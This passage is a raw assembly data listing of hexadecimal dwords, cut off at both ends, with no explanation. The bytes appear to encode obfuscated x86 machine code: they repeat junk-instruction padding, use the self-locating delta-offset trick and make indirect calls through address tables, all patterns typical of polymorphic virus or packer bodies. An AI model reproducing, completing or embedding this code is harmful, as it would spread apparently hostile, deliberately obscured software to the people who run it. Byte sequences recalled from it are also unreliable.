61E0465h, 9589615Bh, 1, 0B1BDB5BBh dd 0E97Bh, 0B58D0000h, 6223F89h, 6AFB8B66h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 98C8A130h, 0E8199737h, 9D8B1D2Ch, 61E0769h, 5820Fh dd 81660000h, 0FFB686EFh, 1E26C195h, 10A4B906h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0B820AAC3h, 1EDE222Bh, 0E93836B5h, 7, 3444528h, 8359268Fh dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0F058ACC3h, 0C3CD0A29h, 2C05B589h, 8529061Eh dd 61E1CB1h, 68B0Fh, 0DB810000h, 10EC8AAh, 498D89FCh, 2B061E00h dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 8531A17Ch, 61E163Dh, 0DF51BB66h, 10E9h dd 4F83200h, 72300E7Dh, 10548626h, 71C8C08Ch, 0BA85h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 3847B9C3h, 7E6914B6h, 9D8BE371h, 61E1E69h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0F3C35141h, 0FFBF0F7Bh, 2870F51h, 50000000h dd 9D8B5B5Bh, 61E1A25h, 880Dh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 5958960h, 0E9061E04h dd 13h, 9FFE7193h, 0D2D08095h, 0FEAEF161h, 0FD8AC03Eh dd 8B3487B6h, 1E237595h, 0F7816606h, 8D8B5916h, 61E324Dh dd 2C299D33h, 0D381061Eh, 773FA362h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0B5895818h, 61E018Dh, 33C78166h dd 59BD8396h, 61E02h, 56840Fh, 0BB660000h, 0B87F3Fh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 92C2C351h, 4CB88D8Dh, 6A061Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66A6EBC3h dd 1912EF81h, 8D09E1FFh, 61E26B1h, 3169BD83h, 0F00061Eh dd 42A84h, 68F0F00h, 8B000000h, 1E3065BDh, 75BD8B06h, 83061E17h dd 1E3169BDh, 840F0106h, 426h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 71C35747h, 8B79DCA8h, 69BD83D8h dd 3061E31h, 3C2860Fh, 0BD330000h, 61E1CB9h, 0DE9h, 33850E00h dd 2ECA724Ch, 15BC6912h, 8B60EFDEh, 1E00A5BDh, 0F9B70F06h dd 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0E3A5C352h, 6A04E180h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0A17EC357h, 9E9h, 1A6EFA00h, 0E74A6356h, 0C90A3DF5h dd 103840Fh, 12E90000h, 0BB000000h, 0D0EE3279h, 0A621C810h dd 0B095CFB9h, 8EA53405h, 11858B5Eh, 6A061E1Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0C131C357h, 5E4AC833h, 50B1D760h, 1A159509h, 335B061Eh dd 1E14BD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0AC19E3ADh, 0F19D330Fh, 8B061E1Ah dd 1E1A65BDh, 4895006h, 0D98B6624h, 0CE68006Ah, 6611B4ABh dd 3481D98Bh, 0ABA83124h, 51006A11h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 95894E0Fh dd 15B589CAh, 0FF061E02h, 1E144195h, 319D8B06h, 89061E15h dd 21B02785h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0D18C2FCCh, 8938A95Fh, 1E1F5D9Dh dd 3573BB06h, 0DCE95C52h, 8B000001h, 1E1921BDh, 1F858B06h dd 890621B0h, 1E1A858Dh, 1800C706h, 2B000000h, 1E297D9Dh dd 23B58B06h, 6A0621B0h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0BBAC350h, 93365EE8h dd 1C31BD03h, 8D89061Eh, 61E308Dh, 1CC9858Bh, 6A061Eh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0B87AAFC3h, 89208AA5h, 0FDBD8B06h, 8B061E13h, 1E2A69BDh dd 11858B06h, 6A061E1Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 7994C351h, 663899E5h dd 481AF381h, 82EB8166h, 44689B5h, 0DE8h, 36615100h, 0FF6B1C0Ch dd 9AF4AA85h, 0BE99CE3h, 0FB000000h, 0AF920F1h, 9373CB3Dh dd 0F5F47E4h, 86h, 0AE89600h, 0D6000000h, 0E1EC52CBh, 0E517CA55h dd 58C0F97h, 0BF000000h, 5C860088h, 0FA8B505Fh, 55006A96h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 945E96F6h, 9D8BB443h, 61E179Dh, 0B01FB5FFh, 6A0621h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 330D74C3h, 36032268h, 240481A6h, 59E900DDh, 2AE18509h dd 858D061Eh, 621B027h, 0FE9h, 3186FD00h, 89CE0EB3h, 17633915h dd 71A287C4h, 6FB46050h, 8961D98Bh, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 733905C3h dd 4EA61C19h, 29E8B002h, 1E20C58Dh, 4195FF06h, 6A061E14h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0BAFAC357h, 54F06D3Ch, 11CF816Ah, 61538F06h dd 0CE9h, 4781D500h, 7BBBE7B0h, 7A9EBFC6h, 6985C701h, 3061E31h dd 0B000000h, 1E16599Dh, 0DE8B6606h, 0B027BD83h, 0F000621h dd 3F84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E976B825h, 37h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 9BC35040h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 81C08B00h, 0B034ECD3h dd 50006A25h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0CB7A8894h, 8D0FD466h, 5, 0D5C38166h, 69BD83EDh dd 3061E31h, 425850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 83B5A2C3h, 21B027BDh dd 840F0006h, 3FBh, 65373DBBh, 27B5FF1Eh, 0E90621B0h, 0Ah dd 275AA88Fh, 0E9FE33CFh, 95FF5842h, 61E1555h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 9CC35343h, 0B58B8BECh dd 621B01Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0EC35646h, 5C2AC205h, 39BD8BF8h, 0C7061E2Bh, 1000106h dd 0BF669600h, 5150BBD1h, 1B959DBFh, 6A965B41h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 2B0EC353h, 0E8E9B428h, 66B6671Ch, 0B5FFFE8Bh, 621B027h dd 4799D23h, 8D31061Eh, 61E31C1h, 2B3D95FFh, 6A061Eh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 3BDDDCC3h, 0F88A3808h, 0B01BB58Bh, 6A0621h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8B8C5CC3h, 1E2A2185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 6094E502h, 0AC56BDEDh dd 8689BD42h, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0ECC35141h, 7910C7D3h, 0E0D2A969h, 7E9h dd 39180C00h, 0AA6988h, 2375958Bh, 6A061Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0C2832CC3h dd 63DDBF04h, 50890F68h, 50006A20h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8193FC26h, 92223BC3h dd 0EE9604Bh, 0C2000000h, 0DD5F65F6h, 2B2286CCh, 0B8FF28ECh dd 8E970h, 8DDE0000h, 884117B6h, 8D617201h, 21C4A485h dd 51858906h, 89061E03h, 0B886h, 6AD88A00h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0BF92DF56h, 0A58D29CAh, 0FF061E12h, 21B027B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 328EF141h, 0FF84C89Dh, 0DE9E4h, 63A40000h, 4B84D490h dd 9797C5ABh, 0FFAF9679h, 1E32F995h, 6E806h, 0E5DA0000h dd 4253D8FCh, 23798D89h, 505F061Eh, 7E85652h, 0D5000000h dd 0A2D1195Eh, 5F5BAECBh, 2434895Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 77C35646h, 2390E8BDh, 0E9FF20C7h dd 6, 0CB95C06Fh, 0B5FF7B0Bh, 621B027h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 0AC35040h, 83ADDE63h dd 8F39E9B7h, 0BF5153FCh, 1ADA6B5Dh, 0BF665B5Fh, 95FF18F0h dd 61E3049h, 1398589h, 0BD83061Eh, 61E0DB9h, 48840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 5037C351h, 348903B3h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 8F82996Fh, 66FCDD4Fh, 0FFF8F8BBh, 21B027B5h, 0FFD88B06h dd 1E164D95h, 0CDA5BB06h, 0B5FF66A4h, 621B027h, 9DD95FFh dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 5A756DC3h, 1A466DE2h, 0FAB70F3Eh, 2BD9BD83h dd 0F02061Eh, 5684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 958993EEh, 61E1F05h, 0E2D858Bh dd 0FF9061Eh, 87h, 0C600h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0F0C35646h, 1FAEC082h, 0C760B734h, 1E1F8185h dd 6, 3AEF8100h, 0E93FDC09h, 0FFFFF392h, 8B94D380h, 0B58960C1h dd 61E1E75h, 0DD858D61h, 89061E19h, 1E145D95h, 52505006h dd 0CE8h, 0AD6BDA00h, 0B94EFF4Eh, 8D7FFAE7h, 5BD88BCDh dd 38BF310Fh, 5A76AAF4h, 24048958h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0F3C35040h, 69BB2D78h, 179BEFCBh dd 3185BD0Bh, 6A061Eh, 21EB8166h, 31006A89h, 1E19D9B5h dd 9E858D06h, 6A0622D0h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0A7A4C356h, 50DA05D6h dd 1D959D89h, 895B061Eh, 1E214D8Dh, 5C08306h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h, 72A530D7h dd 12E809h, 10FC0000h, 6273EC44h, 1885E5BDh, 1CBE3518h dd 0DB6C567Dh, 839BD03h, 895B061Eh, 1E2B0DB5h, 9E95006h dd 0BC000000h, 83CBAD56h, 0B6479B5h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 16EC352h, 0D41B1418h, 6850Fh, 8D890000h, 61E0A11h, 0B589006Ah dd 61E1B35h, 6A03B3h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0BDC35646h, 6870Fh, 85290000h, 61E3211h dd 0FFFAB70Fh, 1E21ED95h, 11E906h, 43230000h, 4B4339B5h dd 7AE807F8h, 21AD642Bh, 8D456851h, 2194B68Dh, 0CB805006h dd 0D1FF5B72h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0EAC35646h, 14E835B8h, 88000000h, 65FF0B7Fh, 7514721Eh dd 0B7E1FEFBh, 0B8AA7107h, 8BD2C775h, 1E2DB59Dh, 0BD835F06h dd 61E272Dh, 73850F01h, 8B000000h, 6A026AFEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 1400C356h, 68D0F43h, 8B000000h, 1E13619Dh, 5B579006h dd 0DA8B6650h, 359D8B90h, 0FF061E29h, 1E32F995h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0FA4E6Eh, 0FFBC2BCh, 988h, 3810F00h, 66000000h, 7BE9D98Bh dd 0E800000Dh, 0 dd 0A8ED815Dh, 530622D0h, 6A5BFCh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 60DCB2C3h, 92D051B8h dd 5DBD3148h, 61061E2Fh, 2C2D9D01h, 0E1BF061Eh, 8D3449B9h dd 218DFE85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0DE92E71h, 0A9000000h, 427C28C3h dd 0B7EF97EDh, 5B295335h, 0FE9h, 0F704FA00h, 0B427A99h dd 0C8DEC450h, 0FF2F158Fh, 50B4B390h, 75BF6650h, 0F9905BA1h dd 1FE98D29h, 0FF64061Eh, 35h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6482846Dh dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0B903EEC3h, 89C88842h, 0F1E515Fh dd 85FFDABFh, 61E1D91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 53C35343h, 4A5A8D3Ah, 651DA848h, 4DB589h dd 0BD8B061Eh, 61E142Dh, 6AFF6Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B5FF68C3h, 61E1EB5h dd 95FFF98Bh, 61E1655h, 139E9h, 6DBD8B00h, 0B0061E20h dd 8E900h, 43020000h, 0CC61C74Ah, 70E6ECEAh, 937BF66h dd 0BF6671E4h, 613C4212h, 110830Fh, 12E90000h, 84000000h dd 776EC1F2h, 9F92FF02h, 0D583ABD9h, 2C8FE935h, 0C8B60F5Ah dd 6BAD88Bh, 89000000h, 1E09A585h, 8BD88B06h, 6800FC1h dd 81000000h, 98A6FEEBh, 4E8C109h, 15E1BD8Bh, 0F766061Eh dd 0C5DF81E2h, 0E913C86Bh, 6, 6313EEC7h, 0C82B4631h, 66F054BBh dd 0E9D18B4Fh, 0Ah, 63DAEF24h, 422DC92Eh, 9FE92374h, 81000000h dd 0F0C541EFh, 4858B41h, 0BF000000h, 2166C5D9h, 0F807C083h dd 8B00C083h, 1E32959Dh, 0FD03B06h, 1B83h, 0C850F00h, 0F000000h dd 689h, 850F00h, 0E9000000h, 62h, 0D515BB66h, 0FFFF8D8Bh dd 830FFFFFh, 6, 2789BD29h, 0DE9061Eh, 97000000h, 0DE109660h dd 2B1F6BFCh, 0A2A7004Bh, 0F01E183h, 3184h, 0FFA58300h dd 0FEFFFFFFh, 0F7F78166h, 8160531Fh, 0DE92B6C2h, 61C38A05h dd 495895Bh, 8B000000h, 1E1405BDh, 95295306h, 61E1BADh dd 0E95Bh, 0B58D0000h, 622502Dh, 0FE9h, 0DBF20600h, 0BFD5AD10h dd 1420F6D7h, 71D46B23h, 9FCB8166h, 6A006AC9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 45C7C357h, 6A184759h, 0D88B66B1h, 26C195FFh, 8166061Eh dd 0B9BD38E7h, 0EDFh, 0EE9h, 0E0DB6200h, 0C731727Dh, 0C08A452Eh dd 831331E6h, 0B70FFCE1h, 8160FCFFh, 639781F7h, 8509601Eh dd 61E02FDh, 14E9h, 0EAA87F00h, 9D1CDE30h, 0AD89D02h, 0E2EAA2D6h dd 80BED1DDh, 0B86161A3h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 70C35747h dd 355E596Ah, 2BFE8B24h, 108D0FD2h, 0E8000000h, 8, 21A6D9C0h dd 4731F214h, 0AD5B5F52h, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0A23BC351h, 0B447F381h, 6A6C7Ch, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0FE7A6DC3h, 89D88B66h, 1E179DB5h, 880D06h, 0E8600000h dd 13h, 0E4CEC327h, 395576D0h, 0DD8B7E23h, 42176140h, 0FC86A146h dd 0ADBD8958h, 61061E05h, 62EEEF81h, 958B2959h, 61E2375h dd 324D8D8Bh, 0B70F061Eh, 0C28B50FBh, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 669DC357h, 0AFB6CB81h dd 2800F51h, 60000000h, 0BD835B61h, 61E0259h, 0A7840F00h dd 60000000h, 0FC9B70Fh, 68Dh, 21BD8900h, 61061E2Ch, 0B8h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 57545B4Dh, 3EB178E7h, 11E8h, 6E619900h dd 37349FD7h, 2A2AC893h, 0FB88CB74h, 0D7813403h, 0D492436h dd 8D8DF85Fh, 61E4CB8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0A3C35545h, 0E1FF04D1h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ch, 7FC35040h, 61455F3h dd 740D4774h, 2799589h, 0BD83061Eh, 61E3169h, 2E840F00h dd 0B3000004h, 69BD83F1h, 1061E31h, 43A840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 357C31C3h, 799C010Ah, 0ED8D899Dh, 83061E22h, 1E3169BDh dd 860F0306h, 3CEh, 0C5BD8B50h, 5F061E0Ch, 51006A60h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 1B9C752h, 1E0F118Dh, 89606006h, 1E1FB195h, 10E906h dd 0E7490000h, 9260734Ah, 52DE4ECAh, 16AB2681h, 66610FEBh dd 6661CF8Bh, 0E180D98Ch, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0C61873E2h dd 14E88Eh, 6BF80000h, 4C6BDB0Bh, 403175AAh, 7AAD5F75h dd 0EE69A43Eh, 7E9473Dh, 0CD000000h, 0B5F1D6FBh, 0E95BF7BFh dd 0Ch, 2CF88AEDh, 0C323AC8Dh, 2DC519EAh, 840FC90Ah, 11Ah dd 8880Fh, 860F0000h, 2, 858B6160h, 61E1A11h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0EDC35040h, 623DAB63h dd 33DBBF0Fh, 1E14BD85h, 0F19D8B06h, 90061E04h, 0CC4B43BBh dd 0FA8B5033h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 6AF99AC2h, 4DBD8B00h dd 68061E01h, 0CD260419h, 0E6240481h, 8932F8FFh, 1E2005B5h dd 6860F06h, 9000000h, 1E1D5DB5h, 4195FF06h, 6A061E14h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0E1D4C350h, 7F1D2A2Dh, 0DC0E11B6h, 99D38166h dd 8589F5A4h, 621B027h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 52C35242h, 0BD8B6048h, 61E03DDh, 9873BE66h dd 0EB816661h, 99E90E6Fh, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0ED13C352h dd 858BF93Eh, 621B01Fh, 0C789B3h, 18h, 0B937BB66h, 23B58BF9h dd 6A0621B0h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4B26C350h, 8589423Dh, 61E1FD9h dd 2C29B589h, 858B061Eh, 61E1CC9h, 470DBF60h, 0D58030D4h dd 850F6180h, 6, 4498D01h, 689061Eh, 0FE9h, 0AF1A1100h dd 6D82D79Bh, 256A44E6h, 5EDB8F2h, 1A11858Bh, 6A061Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 4E5384C3h, 44689F8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 76C35141h, 0BBB57C8h, 12E8500Bh, 0CF000000h dd 0D9D5CFF9h, 3E9B78E1h, 39E81CDBh, 1BAF9AB8h, 5F50B3E1h dd 50243489h, 21DD8D89h, 0FF5B061Eh, 21B01FB5h, 0A59D2906h dd 68061E20h, 285A33B6h, 81DF8B66h, 30492434h, 6A2845h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 90BBAEC3h, 0B840Fh, 6E90000h, 17000000h, 92D63AB2h dd 5E9D0h, 0BEDA0000h, 8D1B9CDBh, 21B02785h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 18EE0A00h, 83BF503Bh, 8955366Dh, 85012404h, 61E1F9Dh dd 144195FFh, 9D33061Eh, 61E2281h, 51006A61h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8B600E85h dd 1E1581B5h, 5E906h, 0B900000h, 61CE248Eh, 316985C7h dd 3061Eh, 880F0000h, 0Dh, 8E9h, 0DE59EA00h, 0A693154Bh dd 27BD83CBh, 621B0h, 2C840Fh, 0B5010000h, 61E2949h, 3CE9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 5B0E96E6h, 3050289Fh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0D57EE54Ch dd 4B87382h, 0BDBD8BBDh, 80061E18h, 0FE8B37E3h, 6AE2E781h dd 0BD837346h, 61E3169h, 9E850F03h, 1000003h, 1E293985h dd 27BD8306h, 621B0h, 38B840Fh, 8BF50000h, 1E097DBDh, 27B5FF06h dd 660621B0h, 895C00BFh, 1E0551B5h, 5595FF06h, 6A061E15h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0DF21C357h, 0F3D63D77h, 0B58B7182h, 621B01Bh dd 106C7F8h, 50000100h, 14E9h, 5CB6F000h, 4BD2C29Dh, 2D620329h dd 3D168EDh, 9D8BBE8Ah, 243489E7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0AEC35343h, 0E1E2868Ch, 8FA597F3h dd 23FA8AA8h, 1E1739BDh, 27B5FF06h, 890621B0h, 1E0C71BDh dd 3D95FF06h, 6A061E2Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 66CDC356h, 8B6713BBh dd 1BB58BD9h, 6A0621B0h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 1106C353h, 936DF13Eh dd 28C9033Eh, 0C480BF66h, 2A21858Bh, 6A061Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 569D88C3h dd 0C48689CCh, 1000000h, 1E01D5B5h, 75958B06h, 6A061E23h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 8617C353h, 2845F40Bh, 0C283DF1Eh, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0D9D8BD7h, 89061E15h dd 8D0F2050h, 6, 26B19589h, 858D061Eh, 621C4A4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4EC35545h, 894FFEA1h dd 0B886h, 54BB6600h, 0FF006A0Eh, 21B027B5h, 51B58906h dd 0FF061E2Eh, 1E32F995h, 50FD8A06h, 11E8h, 343A4800h dd 9118F4A0h, 40DF948Ah, 0E85F0A53h, 820F6D22h, 2, 895BDC8Ah dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 8B963DC3h, 1E079DBDh, 27B5FF06h, 90621B0h dd 1E00A995h, 0FE806h, 0B5030000h, 2DBA95F9h, 0F14B1A75h dd 0AADC6310h, 0FE965h, 1BBE0000h, 0EE745FC6h, 6722EA62h dd 9282DA6Ch, 95FF5F24h, 61E3049h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0BBC35646h, 83F5F4FBh, 1E0DB9BDh dd 840F0006h, 12h, 1A39BD8Bh, 8B50061Eh, 243489DFh, 29119D0Bh dd 0B5FF061Eh, 621B027h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 89C35747h, 49BD8B60h, 89061E29h, 1E0EA5B5h dd 0BD8B6106h, 61E2C91h, 164D95FFh, 0E780061Eh, 27B5FFF9h dd 0E90621B0h, 0Eh, 1F562E46h, 0D9F26Ch, 9341D025h, 95FFE452h dd 61E09DDh, 0EE960h, 49160000h, 2E90FD54h, 0C1FFC738h dd 0BBFC0EF1h, 0D9BD8361h, 2061E2Bh, 51840Fh, 85890000h dd 61E07D5h, 0E2D858Bh, 9D23061Eh, 61E33A9h, 6A0000C6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 36D4C353h, 608250F9h, 0E94A74CBh, 13h, 0BBD29258h dd 9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h, 0C7BF15DFh, 1E1F8185h dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 6577F722h, 4B88BB06h, 0F3E2E98Fh dd 8960FFFFh, 1E296985h, 0F28B6606h, 6AC18B61h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 8E8BC353h, 45BC39A4h, 21E99D8Bh, 858D061Eh, 61E19DDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D6C35646h dd 55F9F58Bh, 89C3BE12h, 1E26998Dh, 60529006h, 98BB29B3h dd 6127E792h, 0DE8505Fh, 0BE000000h, 0DFC75829h, 0C5744CDDh dd 68C42A9Ah, 0BE95250h, 0BF000000h, 813A0F7Eh, 0AC8A597Eh dd 310FB616h, 0F72B11BFh, 5F585A62h, 0E0C38190h, 8B1E47F4h dd 1E1DC99Dh, 66006A06h, 5F2DB81h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F254EC3h dd 858DDAB7h, 622E056h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 9AC35040h, 0ACD2BDD1h, 83D88B66h, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0C39C23C3h, 8B23D6ADh, 1E32F19Dh, 0BE806h, 60F90000h dd 1E565F98h, 8A12C9BDh, 0FD9D8BD7h, 5B061E0Eh, 50FEBF0Fh dd 48922B3h, 0BF505324h, 763AB8F6h, 6A5F5Fh, 31E18D89h dd 0A9BF061Eh, 6A4C95F5h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0B5895C1Dh dd 61E0481h, 21ED95FFh, 8DFC061Eh, 2194B68Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0F55B4CAAh, 12CE8949h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0B7D972C3h, 2DBD83E5h dd 1061E27h, 8C850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0FA8A88C3h, 12E9h, 58123700h dd 47002B66h, 6EDE3209h, 699259F6h, 6AF62A3Ch, 17830F02h dd 0E9000000h, 12h, 38B77CEBh, 7BB8D006h, 95AAEC2Dh, 0C0DEF6Dh dd 8B50F29Dh, 240489DEh, 2C8DBD2Bh, 0BD01061Eh, 61E020Dh dd 32F995FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FB915C3h, 0BE9FFB7h, 0E800000Eh dd 0 dd 60ED815Dh, 6A0622E0h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0F7B4C353h, 8E6C7B49h dd 